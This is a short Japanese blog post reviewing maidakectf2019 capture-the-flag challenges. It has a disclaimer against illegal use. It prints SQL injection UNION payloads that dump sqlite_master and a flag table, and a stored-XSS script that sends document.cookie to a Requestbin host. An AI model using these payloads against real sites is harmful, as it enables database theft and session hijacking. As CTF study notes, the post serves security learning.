セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

復習回 maidakectf2019

//

この記事は

自分用です。。


参考

st98.github.io

qiita.com

qiita.com

Kancolle Engine (SQLi)

LIKE句にユーザ入力が入る問題でした。(問題ではsqlite3使用とのこと。) ワイルドカードとして、%が0文字以上の任意の文字列、_が任意の1文字を表すので、%をフォームに投げるとたくさんレコードが表示されるので気づけるとのこと。

$ ' and 0 union select 1,2,3,4,5,6,7,8,9,10,11;# ->で動くか確認。(カラム数はヒントとしてソースから推測できた)
$ ' and 0 union select sql,2,3,4,5,6,7,8,9,10,11 from sqlite_master;# ->sqlite_masterテーブルからsqlカラムを抜くことで、作られているテーブル名とカラム名が取得できる。ここから、flagテーブルにthis_is_flagカラムが存在することがわかる。
$ ' and 0 union select this_is_flag,2,3,4,5,6,7,8,9,10,11 from flag;#



Haiku contest

投稿内容を管理側で見てくれる(採点という名目)感じなサイト。Requestbinを送り先にしてリクエストを飛ばさせればokだったけれど、なんか上手くいかなかった。

<script>(new Image).src='http://requestbinのドメイン/先/?'+document.cookie</script>

上を投げれば、クッキーが抜けてそれがそのままフラグになる。

phpで書かれたフォームへのPOST

何気なく手間取ってしまった。$_POSTはContent-type: application/x-www-form-urlencodedmultipart/form-dataの形式で受け取るとのこと。なので、json形式で書いてもちゃんと受け取ってくれないです。

なので、x-www-form-urlencodedではa=1&b=1のようなクエリパラメータの形式で投げてあげましょう。